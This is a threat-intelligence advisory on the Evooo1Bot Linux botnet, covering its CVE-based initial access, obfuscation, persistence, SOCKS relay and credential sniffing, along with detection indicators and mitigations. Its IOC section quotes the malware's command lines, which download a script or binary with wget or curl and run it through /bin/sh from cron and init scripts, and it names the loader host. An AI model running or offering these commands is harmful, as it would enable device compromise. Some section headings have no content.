Multi-Functional Linux Botnet “Evooo1Bot”

What Happened

Researchers discovered a new malicious software called Evooo1Bot that infects Linux-based devices like routers, cameras, and firewalls. The software takes over these devices by exploiting known security flaws in products from many manufacturers. Once installed, it can launch attacks that overwhelm websites with traffic, brute-force passwords to spread to other machines, turn the infected device into a relay to hide the attacker's real location, and steal credentials from network traffic. Organizations with Internet-facing devices should ensure all firmware and software is up to date, monitor for unusual outbound connections, and check for unauthorized SOCKS proxy listeners or SSH brute-force activity.

Key Takeaways

• Evooo1Bot is a modular Linux botnet extending Mirai's DDoS engine with encrypted C2, SSH brute-force, SOCKS relay, credential sniffing, and an integrated CVE exploit dispatcher targeting 19 known vulnerabilities
• Active since July 2026, the botnet exploits Internet-facing devices across diverse regions using a loader script at 91.92.40.118/wget.sh
• String obfuscation uses AES-256-CTR, ChaCha20, and XOR with split keys stored in the .data section, complicating static analysis
• The reverse SOCKS relay module turns compromised devices into persistent proxies for traffic obfuscation and internal network pivoting
• The malware includes anti-analysis checks for 40+ security tools, sandbox services, and VM/container environments to evade detection

Affected Systems

• Linux-based systems (i386, ARM, ARM64, and other architectures)
• Alcatel OmniPCX Enterprise
• NETGEAR routers
• Tenda AC7/AC9/AC10/AC15/AC1900 routers
• Mitsubishi Electric ME-RTU devices
• Telesquare SDT-CW3B1 and TLR-2005KSH
• D-Link routers (DIR-823X, DIR-868L B1, and others)
• Hikvision IP cameras
• Atlassian Confluence
• Zyxel Firewall
• TP-Link Archer AX21
• PHP-CGI on Windows
• D-Link NAS
• Kubernetes ingress-nginx
• WSO2 products
• MOVEit Transfer

Vulnerabilities (CVEs)

Attack Chain

1. Initial Access: Exploits known vulnerabilities (CVE-2007-3010, CVE-2016-6277, CVE-2018-14558, CVE-2019-14931, CVE-2020-10987, CVE-2021-46422, CVE-2022-37055, CVE-2024-29269, CVE-2025-10123, CVE-2025-55583) in Internet-facing devices to achieve remote code execution
2. Execution: Loader script wget.sh is downloaded from 91.92.40.118 and executed, which fetches architecture-specific botnet binary using wget, busybox wget, curl, or tftp
3. Defense Evasion: Binary checks for 40+ analysis tools, sandbox services, and VM/container environments; uses AES-256-CTR, ChaCha20, and XOR for string obfuscation; clears bash history post-infection
4. Command and Control: Establishes encrypted connection to C2 server on port 443 to blend with HTTPS traffic
5. Persistence: Installs systemd service, SysV init script, cron job, shell profile injection, and rc.local entry simultaneously; reduces OOM-killer priority and holds /dev/watchdog open
6. Lateral Movement and Proxy: SSH brute-force scanner targets enterprise service accounts; SOCKS relay module converts host into proxy node; CVE exploit module scans for additional vulnerable targets

Detection Availability

• YARA Rules: No
• Sigma Rules: No
• Snort/Suricata Rules: No
• KQL Queries: No
• Splunk SPL Queries: No
• EQL Queries: No
• Other Detection Logic: No
• Platforms: FortiGuard Antivirus, FortiGuard Web Filtering, FortiGuard IPS, FortiGuard IP Reputation

Fortinet detects the malware as Linux/Agent.BDS!tr via FortiGuard Antivirus. FortiGuard Web Filtering blocks the C2 server. FortiGuard IPS signatures are available for all exploited CVEs. FortiGuard IP Reputation and Anti-Botnet Service blocks infrastructure associated with this campaign. No YARA, Sigma, Snort, or Suricata rules are published in the article.

Detection Engineering Assessment

Required Log Sources

• Linux process execution logs (auditd, eBPF-based monitoring)
• systemd journal logs
• Cron job logs (/var/log/cron, /var/log/syslog)
• Network connection logs (netflow, firewall logs, Zeek/Bro)
• File system monitoring for /tmp, /etc/profile.d/, /etc/init.d/, /etc/rc.local
• SSH authentication logs (/var/log/auth.log, /var/log/secure)

Hunting Hypotheses

Control Gaps

• Signature-based AV may miss the malware due to multi-layer string obfuscation (AES-256-CTR, ChaCha20, XOR)
• Network-based detection may miss C2 traffic on port 443 blending with legitimate HTTPS
• Reverse SOCKS relay mode uses outbound connections, which may bypass inbound firewall rules
• Anti-analysis checks prevent execution in sandbox environments, reducing automated detection
• IoT and edge devices often lack EDR coverage, limiting visibility into post-exploitation behavior

Key Behavioral Indicators

• systemd service with description 'Apache HTTPD Cache Manager' and 'Restart=always' setting
• Cron entry downloading and executing scripts every 5 minutes using wget or curl piped to /bin/sh
• SSH connections with banner 'SSH-2.0-OpenSSH_9.7p1' from unexpected hosts
• Process listening on TCP port 1080 (SOCKS5 proxy) on edge devices
• File /tmp/.sniff.log being created on Linux hosts
• Process checking for 40+ analysis tool names in filesystem (strace, gdb, ltrace, radare2, etc.)
• Binary with hardcoded string 'evooo1'
• SysV init script in /etc/init.d with header '### BEGIN INIT INFO' downloading scripts via wget/curl
• Script injection in /etc/profile.d/ directory
• Process writing to /proc/self/oom_score_adj to reduce OOM-killer priority
• Process keeping /dev/watchdog open to prevent device reboot
• Bash history being cleared post-infection

False Positive Assessment

Recommendations

Immediate Mitigation

Infrastructure Hardening

• Evaluate whether Internet-facing devices (routers, cameras, firewalls) in your environment are running firmware versions vulnerable to the listed CVEs, and prioritize patching.
• Consider restricting outbound connections from IoT and edge devices to only necessary destinations and ports.
• If your network monitoring supports it, consider alerting on new SOCKS5 listeners on port 1080 from edge devices.

User Protection

• Consider deploying endpoint detection on Linux systems where feasible, focusing on process execution and file system monitoring in /tmp and /etc directories.
• Evaluate whether SSH access to edge devices can be restricted to known IP ranges or disabled entirely where not needed.

Security Awareness

• Consider incorporating IoT and edge device patching into existing security awareness programs, emphasizing the risk of default credentials on service accounts.
• If applicable to your organization, consider training IT staff on the risks of exposed management interfaces on network appliances.

MITRE ATT&CK Mapping

Additional IOCs

• Urls:
  • hxxp://91[.]92[.]40[.]118/kworkerd - Architecture-specific botnet binary download URL served by the C2 server.
  • hxxp://91[.]92[.]40[.]118/kworkerd-events - Architecture-specific botnet binary download URL served by the C2 server.
  • hxxp://91[.]92[.]40[.]118/kworkerd-cgroup - Architecture-specific botnet binary download URL served by the C2 server.
  • hxxp://91[.]92[.]40[.]118/kworkerd-netns - Architecture-specific botnet binary download URL served by the C2 server.
  • hxxp://91[.]92[.]40[.]118/kworkerd-netns-rt - Architecture-specific botnet binary download URL served by the C2 server.
  • hxxp://91[.]92[.]40[.]118/kworkerd-rcu - Architecture-specific botnet binary download URL served by the C2 server.
  • hxxp://91[.]92[.]40[.]118/kworkerd-irq - Architecture-specific botnet binary download URL served by the C2 server.
  • hxxp://91[.]92[.]40[.]118/kworkerd-irq-bal - Architecture-specific botnet binary download URL served by the C2 server.
• File Paths:
  • /tmp/.s - Temporary file used by the loader script to download and execute the botnet binary.
  • /tmp/.k - Temporary file used by the loader script to download and execute architecture-specific botnet binaries.
  • /tmp/.sniff.log - Credential sniffer output file. The sniffer intercepts HTTP Basic Authorization and Cookie headers and writes them to this file.
• Command Lines:
  • Purpose: Download and execute the botnet binary after initial exploitation | Tools: wget, busybox, curl, tftp, chmod, sh | Stage: Execution | cd /tmp; wget <URL> -O .s; chmod 777 .s; sh .s <campaign>
  • Purpose: Maintain persistence by re-downloading and executing the botnet script every 5 minutes | Tools: wget, curl, sh | Stage: Persistence | */5 * * * * /bin/sh -c '(wget -qO- <URL> || curl -sL <URL>) | /bin/sh
  • Purpose: Maintain persistence via SysV init script that re-downloads the botnet on boot | Tools: wget, curl, sh | Stage: Persistence | (wget -qO- <URL> || curl -sL <URL>) | /bin/sh
  • Purpose: Detect honeypot environments by checking for Cowrie and Kippo artifacts | Tools: cat, ls | Stage: Discovery | cat /proc/version; cat /proc/1/cmdline; ls /opt/cowrie /home/cowrie /home/kippo